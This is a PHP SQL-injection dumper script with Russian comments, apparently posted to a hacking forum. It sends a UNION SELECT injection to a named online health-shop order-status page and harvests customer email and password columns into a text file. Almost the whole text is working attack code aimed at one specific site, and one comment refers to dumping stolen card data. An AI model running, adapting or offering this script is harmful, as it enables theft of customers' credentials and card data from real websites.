Код:
<?php /* coded for exploit.in/forum/ by x999xx */ /* post-get sql dumper */ /* пост запросы, гет запросы держит */ /* universal dumper, lite version */ /* дампер, лайтовая версия */ /* парсинг от а до я */ /* CURL. First steps */ /* Как правило, изучение нового инструмента всегда откладывается: "Потом. Еще успеется... */ /* http://parsing-and-i.blogspot.com/2009/09/curl-first-steps.html */ /* главная функция дампера - дампить */ function dump($fout, $url, $post, $column_names) { /* GET-method: =1 */ /* POST-method: =0 */ $get = 0; /* разбираем урл на составляющие */ $_url = parse_url($url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); // возвращает заголовки curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // переходит по редиректам curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"); if ($get == 1) { curl_setopt($ch, CURLOPT_POST, 0); // шлём через GET curl_setopt($ch, CURLOPT_ENCODING, ""); // обрабатывает все кодировки curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); // таймаут соединения curl_setopt($ch, CURLOPT_TIMEOUT, 120); // таймаут ответа curl_setopt($ch, CURLOPT_MAXREDIRS, 10); // останавливаться после 10-ого редиректа } else { curl_setopt($ch, CURLOPT_POST, 1); // шлём через POST } curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__). "/".$_url["host"]."-cookie.txt"); curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__). "/".$_url["host"]."-cookie.txt"); curl_setopt($ch, CURLOPT_REFERER, $url."?"); // редерикты curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // возвращает веб-страницу $result = curl_exec ($ch); curl_close ($ch); /* пропарсим результат, */ /* выберем только нужные нам */ /* а точнее которые попадают под */ /* условие ^:^:[инфа]:^:^ */ preg_match_all("/\^:\^:(.+?):\^:\^/s",$result,$res); /* открываем файл для записи дампа */ $file = fopen($fout, "a"); /* первой строчкой вставляем строчку названия колонок */ /* эта фича полюбому нужна, */ /* например когда дампишь картон - */ /* колонок же много! */ $str1 = $column_names."\n"; /* если вывод идёт циклом (т.е на один запрос вылетает несколько значений базы, - парсим каждый */ foreach($res[1] as $s) { /* найденное инфо, прибавляет конец строки..*/ $str2 = $s."\n"; /* записываем в файл */ fputs($file, $str2); /* обнуляем данные, на всякий ^^ */ $str2 = ""; } /* закрываем файл. не доебаццо */ fclose($file); } /* конфиг дампера (назовём так) */ /* по идее менять тут всего три строчки, работа непыльная */ /* исполняющий скрипт (уязвимый) */ $url = "http://www.onlineushealth.com/pagina/orderstatus1.php"; /* интересующие нас колонки*/ $column_names = "email,password"; /* преобразовывает их через вывод с concat_ws */ $c_vis = "concat_ws(0x3a,0x5e,0x5e,".$column_names.",0x5e,0x5e)"; //$c_vis = "concat(0x5e,0x3a,0x5e,0x3a".$column_names."0x3a,0x5e,0x3a,0x5e)"; // ^^ а это навсякий если concat_ws не работает $inj = "Submit=Go&email='+or+'1'='1&order=48416'+union+select+".$c_vis.& #34;,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,5 6,57,58,59,60,61,62,63,64,65+from+newcustomer--+1"; // инъекцию пишем как в браузере /* запускаем движуху */ dump("onlineUShealth.txt", $url, $inj, $column_names);